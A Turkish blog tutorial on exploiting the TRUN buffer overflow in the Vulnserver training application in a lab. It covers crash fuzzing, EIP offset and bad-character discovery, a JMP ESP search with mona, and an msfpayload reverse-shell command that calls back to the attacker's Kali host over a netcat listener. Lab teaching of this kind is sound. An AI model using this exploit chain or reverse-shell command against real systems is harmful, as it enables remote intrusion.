Güvenlik zafiyeti bulmak ve istismar etmek

Bir uygulamada zafiyet tespit etmek ve bu zafiyetten faydalanacak bir istismar kodu geliştirmek için izlenen adımları bu amaçla yazılmış bir uygulama olan Vulnserver kullanarak basitçe anlattım.  Vulnserver Stephen Bradshaw tarafından geliştirilmiş bir uygulamadır ve Metasploitable’ın uygulama versiyonu olarak da düşünülebilir

Vulneserver’i http://sites.google.com/site/lupingreycorner/vulnserver.zip adresinden indirebilirsiniz.

Zafiyet tespit etmek ve istismar geliştirmek için kısaca 1 adet Windows 7 makine (mevsimine göre sanal da olabilir), 1 adet Kali Linux’a (dinlenmiş olması makbuldür). Vulnserver’ı Windows’a yükledikten ve Kali ile ağ üzerinden bağlı olduklarından emin olduktan sonra aşağıdaki adımları izleyerek ilk zafiyet tespiti ve istismar geliştirme çalışmanıza başlayabilirsiniz.

Aşağıdaki örneği kendim yazmadım, internette bulduğum kaynaklardan derledim boşuna “sağdan soldan (ç)alımış” yazmakla uğraşmayın diye peşinen belirtmek istedim. Bu yazıyı yazmamadaki amaç “güvenlik zafiyeti” ve “istismar” kavramlarının yerlerine oturmasını sağlayacak ve bu konularda çalışmak isteyenler için kısa bir giriş sağlamaktır. Biraz “kafa/göz” yarmış olabilir ve size tam olarak nasıl yapıldığının detayları konusunda bir miktar “Google araması ödevi” çıkartmış olabilirim ama bir uygulama üzerinde zafiyet nasıl tespit edilir ve zafiyetin istismarı için neler yapmak gerektiği konusunda kabaca bir fikir edineceğinizi umuyorum.

Aşağıda ekran görüntülerinde olduğu gibi Vulnserver Windows üzerinde çalışıyor ve Kali’den Telnet kullanarak yazılımın kullandığı 9999 numaralı porta ulaşabiliyorum. Yazılımın amacı zafiyet tespit etmeyi öğrenmek olduğu için çok büyük bir olayı yok bu aşamada. TRUN konutuyla AAAAAA gibi bir dizi gönderiyorum.

Windows 7 üzerine kurulu Vulnserver

Windows 7 üzerine kurulu Vulnserver

Telnet kullanarak Vulnserver ile iletişim kuruyorum

Telnet kullanarak Vulnserver ile iletişim kuruyorum

Vulnserver bağlantıyı kabul ediyor

Vulnserver bağlantıyı kabul ediyor

Vulnserver'a TRUN komutu ile bir dizi "A" gönderiyorum

Vulnserver’a TRUN komutu ile bir dizi “A” gönderiyorum

Vulnserver bu bağlantıyı da görüyor

Vulnserver bu bağlantıyı da görüyor

 

Bir yazılımda bir zafiyet olup olmadığını anlamanın en kolay yollarından birisi ona hata yaptırmaktır. Yazılım bizim müdahalemizle bozulursa (bkz. Çökerse) burada bizim istismar edebileceğimiz bir zafiyet olabilir. Kaldı ki bir çok durumda yazılımın dışarından gönderilen bir paketle devre dışı kalması yeterince kötü bir güvenlik zafiyeti olabilir.

Vulnserver’a hata yaptırmak için çok sayıda “A” harfi gönderecek kısa bir betik kullanabilir. Bu durumda hedef alacağımız fonksiyon TRUN fonksiyonudur.

Vulnserver'a 2000 tane "A" gönderiyorum

Vulnserver’a 2000 tane “A” gönderiyorum

Vulnserver yanıt veremez duruma geliyor

Vulnserver yanıt veremez duruma geliyor

Görüldüğü üzere 2000 tane “A” gönderdiğimizde Vulnserver yazılımı çökmektedir.

 

Tam olarak ne oldu?
Uçak kazası belgesellerinde olduğu gibi tam olarak ne olduğunu anlamamızı sağlayacak bir karakutuya ihtiyacımız var ve bu noktada imdadımıza Immunity Debugger yetişiyor. Yazılımı http://debugger.immunityinc.com/ adresinden indirebilirsiniz.

Immunity Debugger'ın CPU ekranı

Immunity Debugger’ın CPU ekranı

İmmunity Debugger’ı “yönetici olarak çalıştır” seçeneği ile kullanmamız gerekecek. Kurulum tamamalandıktan sonra Vulnserver’ı tekrar çalıştırıp İmmunity Debugger’ı ona ekleyeceğiz.

Wireshark ile ağ trafiğinin izlendiği gibi, İmmunity Debugger ile yazılımın içini ve çalışmasını izleme imkanı bulacağız.

Imuntiy Debugger’ı Vulnserver sürecine ekliyoruz (File -> Attach) ve CPU ekranına Vulnserver’In değerleri geliyor. Bunu yapabilmek için Vulnserver’ı yeniden başlatmanız gerekiyor.

Immunity Debugger'ı Vulnserver'a bağlıyoruz

Immunity Debugger’ı Vulnserver’a bağlıyoruz

Bu ekranda bizim için önemli olan bir kaç yer var, onlara kısaca bakacak olursak;

  • Sol altta: Yazılımın anlık durumu
  • Sağ üst ekranda bulunan registry değerleri arasında;
  • EIP: Extended Instruction Pointer, yazılım tarafından işleme alınacak bir sonraki komut.
  • ESP: Extended Stack Pointer, belleğin üstü
  • EBP: Extended Base Pointer, belleğin altı
  • Sol üstteki ekran komutları Assembly dilinde neler olup bittiğini gösterir.

Immuntiy Debugger’ı Vulnserver’a bağladıktan sonra çökmesine bir daha neden olalım.

Aşağıdaki ekranda görüldüğü üzere Immunity Debugger ekranın sol altında “Access violation when writing to [41414141]” uyarısını görüyoruz. “41” “A” harfinin hexadecimal kodu olduğu için sorunun gönderdiğimiz “A” harflerinden kaynaklandığını rahatlıkla görebiliriz. Gönderdiğimiz “A” harfleri bir şekilde veri yazılması gereken bir adres olarak yorumlanmış ve buraya yazılırken bir hata meydana gelmiş. Amacımız ilk istismar kodumuzu geliştirmek olduğu için bu aşamada “istismar edilebilir” bir hata olarak görülmemektedir.

Immunity Debugger'ı bağladıktan sonra "play" ikonuna basıp sağ alt köşedeki durumu "running" haline getirmek gerkiyor

Immunity Debugger’ı bağladıktan sonra “play” ikonuna basıp sağ alt köşedeki durumu “running” haline getirmek gerkiyor

2000 tane "A" ile Vulnserver'ın verdiği hata

2000 tane “A” ile Vulnserver’ın verdiği hata

Düzeneğimizi tekrar kurup bu sefer 3000 tane “A” göndererek Vulnserver’ın tekrar çökmesine neden oluyoruz. Bu sefer, aşağıda görüldüğü gibi, bu sefer “Access violation when executing [41414141]” hatasını görüyoruz. Kısaca, bu sefer Vulnserver gönderdiğimiz “A”ların bir kısmını veri yazılacak bir yer olarak değil, uygulanacak bir komut olarak algıladı.

3000 tane "A" ile gördüğümüz hata daha "kullanılabilir" görünüyor

3000 tane “A” ile gördüğümüz hata daha “kullanılabilir” görünüyor

“Önbellek taşırma” (Buffer Overflow) olarak adlandırılan ve zafiyeti istismar edenlerin hedef uygulama üzerinde komut çalıştırmalarını sağlayan zafiyet türüne güzel bir örnek oluşturmaktadır. Gönderdiğimiz “A”ların bir bölümü ayrılan belleğin dışına taşarak Vulnserver tarafından komut olarak algılanmıştır, şimdi yapmamız gereken tam olarak hangi kısmın bu şekilde algılandığını tespit etmektir. Bu sayede uygulamaya istediğimiz bir şey yaptırmak için komutlarımızı göndereceğimiz pakette nereye yerleştireceğimizi öğrenmiş olacağız.

Zafiyetin “işimize yarar” olan kısmını tespit etmek için başta kullandığımız betiği biraz değiştirip tekrarlanmayan bir dizi göndermemiz gerekecek. Bu sayede taşan kısım tekil olacak ve istismar kodumuzu nereye yerleştirmemiz gerektiğini anlayacağız. Burada kullanacağımız betik önce 1000 adet “A” gönderecek ve sonrasında tekrarlanmayan dizinler oluşturuyor.

Kodu çalıştırdıktan sonra Immuntiy Debugger’da “Access violation when executing [35324131]” hatasını görüyoruz. Bu durumda gönderdiğimiz karakterler arasında “52A1” (35324131 dizininin karşılığı) dizininin bulunduğu yeri bulmamız gerekiyor. Dikkat etmemiz gereken bir nokta Intel işlemciler dünyasında olduğumuz ve bu işlemcilerin “little-endian” (http://tr.wikipedia.org/wiki/Endian) yapısı nedeniyle aslında bulmamız gereken dizin “1A25” olacaktır.

Tekil dizinler gönderip belleğin nerede taştığını anlamaya çalışıyoruz

Tekil dizinler gönderip belleğin nerede taştığını anlamaya çalışıyoruz

Aşağıda görüldüğü gibi “1A25”, ilk 1000 kararterin ardında 1006. Baytta görülüyor. Buna “A”lardan oluşan ilk 1000 baytı da eklersek, EIP’ye ilk saldırı için kullandığımız kodun 2006. Bayttan sonraki kısmını yazabilmişisiz. (Hatırlatma; EIP uygulamanın işleme alacağı bellek kısmıydı).

Gnderdiğimiz tekil dizin içerisinde EIP değerine yazılan bölümü buluyoruz

Gnderdiğimiz tekil dizin içerisinde EIP değerine yazılan bölümü buluyoruz

Bu varsayımımızın doğru olup olmadığını anlamak için EIP’ye istediğimiz bir değer yazmaya çalışalım.

Teyit etmek için belleğe yazılmasını istediğimiz bir dizin gönderiyoruz

Teyit etmek için EIP’ye yazılmasını istediğimiz bir dizin gönderiyoruz

EIP'ye yazılan değerin ASCII karşılığı

EIP’ye yazılan değerin ASCII karşılığı

 

EIP'ye istediğimizi yaptırabildiğimizi teyit etmiş olduk. Bkz. sol alt pencere mavi ile işaretli kısım

EIP’ye istediğimizi yaptırabildiğimizi teyit etmiş olduk. Bkz. sol alt pencere mavi ile işaretli kısım

Görüldüğü gibi EIP değerine istediğimizi yazmamızı sağlayacak bir yol bulduk. EIP değerinden sonra gördüğümüz “F” leri yine biz saldırı kodumuzla birlikte göndermiştik, ve geliştirdiğimiz istismar kodunu bu kısma yerleştireceğiz.

Nasıl bir betik?
“Saldırı” kodunun detayına şu ana kadar çok girmememin bir kaç nedeninden birisi de bu işlemlerin Python’dan Perl’e kadar geniş bir yazılım dili yelpazesi ile yapılabilir olmasıdır. Okuyucular hangi dilde kendilerini rahat hissediyorlarsa o dili kullanabilirler. Şu ana kadar yaptıklarımız şunlardır;

  • Hedef uygulamanın kaç karakterde hata verdiğini anlamak için belirlediğimiz sayıda karakteri hedefe gönderen bir betik. Vulnserver’ın 3000 karakterde hata verdiğini gördük.
  • Yazılımın nasıl hata verdiğini anladıktan sonra tam olarak hatanın yerini tespit etmek için ilk 1000 karakterden sonra kendini tekrarlamayan dizinler gönderen bir betik. 2006. Baytın EIP’e değerine yazıldığını gördük
  • Bunu teyit etmek için kendi gönderdiğimiz bir dizinin (“ALPER”) EIP’ye yazılmasını sağlayacak bir betik.

Geliştireceğimiz istismar kodunun çalışacağından emin olmak için uygulama tarafından “kötü karakter” olarak algılanabilecek ve istismar kodunun çalışmasını engelleyecek karakterleri belirleyip bunların istismar kodumuzda bulunmadığından emin olmamız lazım.

Bu karakterleri tespit etmek için yazacağımız betik sırasıyla aşağıdakileri hedef uygulamaya gönderecek;

  • 2006 tane “A
  • “LPER” dizini
  • Kötü karakteri tespit edebilmek için mümkün olan 256 karakter
  • Dizini 3000’e tamamlayacak kadar “F”

“Saldırıyı” yaptıktan sonra ilk gözümüze çarpan şey “F”lerden hiç birinin hedef uygulamanın hafızasında yer bulamadığıdır. Bunun nedeni gönderdiğimiz karakterlerden birinin “kötü karakter” olarak okunması ve istismar kodumuzun çalışmasını engellemiş olmasıdır. Bu örnekte ilgili kötü karakterin ‘\x00’ olduğunu görüyoruz, sadece “F”ler değil, kalan 255 karakter de hafızaya ulaşamamış.

İstismar kodumuzda kullanmamız gereken kararkterleri bulmaya çalışıyoruz

İstismar kodumuzda kullanmamız gereken kararkterleri bulmaya çalışıyoruz

Betiğimizi biraz değiştirip “null byte” değerinin gönderilmemesini sağlıyoruz ve tekrar test ediyoruz. Hemen görüldüğü gibi “F”lerimiz hafızaya ulaşabiliyor. Bu durumda “\x00” dışında sakınmamız gereken bir karakter olmadığını anlıyoruz.

"Null byte" dışındaki karakterlerde bir sorun gözükmüyor.

“Null byte” dışındaki karakterlerde bir sorun gözükmüyor.

 

Mona, sadece Mona
Corelean tarafından geliştirilen MONA.py bize istismar kodumuzun her bilgisayarda çalışmasını sağlayacak değişiklikleri yapmamızı sağlayacak önemli noktalarda destek verecektir. Mona.py kodunu Immunity Debugger program dosyasının altında bulunan “PyCommands” klasörünün içerisine kopyalayın. Mona’ya https://github.com/corelan/mona adresinden ulaşabilirsiniz.

Immunity Debugger’ın altında bulunan beyaz komut satırına “!mona modules” yazarak Vulnserver yüklenirken beraberinde yüklenen modülleri görebiliriz. Burada dikkat bizim için önemli 2 değer var, ASLR ve REBASE. Bu iki özellik yazılımın modüllerinin, uygulama her başlatıldığında, dinamik bir şekilde ve diğer modüllerin hafızadaki yerlerine göre adresleri yönetir. İstismar kodumuzun istikrarlı çalışabilmesi için bu özelliklerden faydalanmayan bir modül bulmamız gerekiyor. Aşağıda görüldüğü üzere bu iki değerin “false” olduğu iki modül var, bunlar vulnserver.exe ve essfunc.dll.

Mona kullanarak Vulnserver ile birlikte yüklenen modülleri görüyoruz.

Mona kullanarak Vulnserver ile birlikte yüklenen modülleri görüyoruz.

Modüller arasında istismar edilebilir olanları arıyoruz

Modüller arasında istismar edilebilir olanları arıyoruz

Bu iki modül de kullanılabilir gibi dursa da vulnserver.exe ile ilgili ufak bir sorun var. Vulnserver.exe çok düşük bellek adreslerinde başladığı için (BASE sütunu) adresin başında, daha önce “kötü karakter” olarak belirlediğimiz “null byte” görüyoruz. Bu durumda bu modül üzerinde çalışmamız, çalışan bir istismar kodu geliştiremeyeceğimiz için, vakit kaybı olacaktır, dolayısıyla, elimizde essfunc.dll modülü kalıyor.

 

İstismar kodunu geliştirmek
Amacımız uygulamanın “JMP” (jump – sıçra) komutuyla istismar kodumuzu yükleyeceğimiz bellek adresine gitmesini sağlamaktır. Bunu yapabildiğimiz takdirde uygulama normal çalışmasının dışına çıkarak istediğimiz bellek adresine gidip yüklediğimiz kodu çalıştıracaktır.

Daha önce ASLR ve REBASE değerlerinin “false” olduğunu belirlediğimiz ve bellek adreslerinin sabit olduğunu varsaydığımız essfunc.dll dosyası içerisinde JMP ESP komutunu bulabilirsek, Vulnserver uygulamasını istismar etmek için kullanabiliriz. Bu komutu bulmak için Mona’dan yardım alacağız. Immunity Debugger’ın altında bulunan beyaz komut satırına “!mona find -s “\xff\xe4” -m essfunc.dll” yazarak “JMP ESP” assembly komutunun hexadecimal karşılığı olan “FFE4” dizinini essfunc.dll içerisinde arıyoruz.

Mona ile essfunc.dll içerisinde JMP ESP komutu arıyoruz

Mona ile essfunc.dll içerisinde JMP ESP komutu arıyoruz

Aşağıda görüldüğü gibi 9 farklı lokasyonda bu değeri buluyoruz, ilkini kullanmayı deneyelim. EIP değerine bu komutun bulunduğu adresi yazabilirsek orada bulunan komutun çalıştırılmasını sağlayabiliriz.

Bunu denemek için bu sefer sırasıyla aşağıdakileri gönderen bir “saldırı” kodu hazırlıyoruz;

  • EIP’ye JMP ESP komutunu yerleştiriyoruz
  • NOP (No Operation – bir şey yapma) komutu. Önemsiz gibi gelebilir ama gerçek istismar kodumuz buraya gelecek.
  • “CC” Bu komut ile uygulamanın çalışmasını durduracağız
Vulnserver uygulamasının önbelleğini kontrol edebiliyoruz.

Vulnserver uygulamasının önbelleğini kontrol edebiliyoruz.

Daha önce belirttiğim gibi bu batikleri Python, Ruby veya Perl gibi rahat ettiğiniz her hangi bir dilde yazabilirsiniz. Betik çalıştıktan sonra aşağıdaki gibi gönderdiğimiz NOP komutlarının ardından “CC”geldiğini görüyoruz. Komut gönderebildiğimizi bu şekilde anladıktan sonra gerçek bir istismar kodu geliştirmenin zamanı geldi.

Laboratuar ortamında olduğumuz için kendiliğinden parıltılı istismar çatımız olan Metasploit’un içerisinde bulunan basit bir “reverse Shell” istismar kodunu kullanabiliriz. Bu istismar kodu Windows’un komut satırının bize bağlanmasını sağlayacaktır. Çoğu ağda dışarıdan gelen bağlantılar sıkı bir şekilde denetlenirken, çıkan bağlantılar biraz daha esnekliğe sahiptir.

msfpayload windows/shell_reverse_tcp LHOST=”192.168.189.132″ LPORT=443 EXITFUNC=thread R | msfencode -b ‘\x00’ -e x86/shikata_ga_nai komutunu kullanarak sözünü ettiğim gibi komut satırının 443 numaralı port üzerinden bize bağlanmasını (192.168.189.132 numaralı IP adresi saldırı için kullandığım Kali’nin adresi). Dikkatiniz çekebileceği gibi msfencode –b ‘\x00’ ile daha önce keşfettiğimiz kötü karakterin kullanılmamasını sağlıyoruz.

Metasploit kullanarak oluşturduğumuz istismar kodu

Metasploit kullanarak oluşturduğumuz istismar kodu

Bu şekilde oluşturduğumuz istismar kodunu daha önce kullandığımız betiğin içerisine kopyalayarak hedefe “saldıracağız”.

“Reverse shell” kullandığım için saldırı makinesinde 443 numaralı porta gelecek bağlantıları dinlemem gerekiyor. Bunun için basitçe netcat kullanıyorum.

Çok kullanışlı bir ağ yazılımı olan Netcet (nc) ile 443 numaralı portu dinlemeye başlıyorum.

Çok kullanışlı bir ağ yazılımı olan Netcet (nc) ile 443 numaralı portu dinlemeye başlıyorum.

Saldırı kodunu çalıştırınca bu sefer Vulnserver’ın çökmediğini ve netcat ekranımıza Windows komut satırının geldiğini görüyoruz.

İstismar kodunu gönderiyoruz

İstismar kodunu gönderiyoruz

Vulnserver bu sefer çökmüyor

Vulnserver bu sefer çökmüyor

Netcat ile dinlediğimiz porta Windows komut satırı geliyor

Netcat ile dinlediğimiz porta Windows komut satırı geliyor

Vulnserver üzerinden Windows komut satırına ulaştık

Vulnserver üzerinden Windows komut satırına ulaştık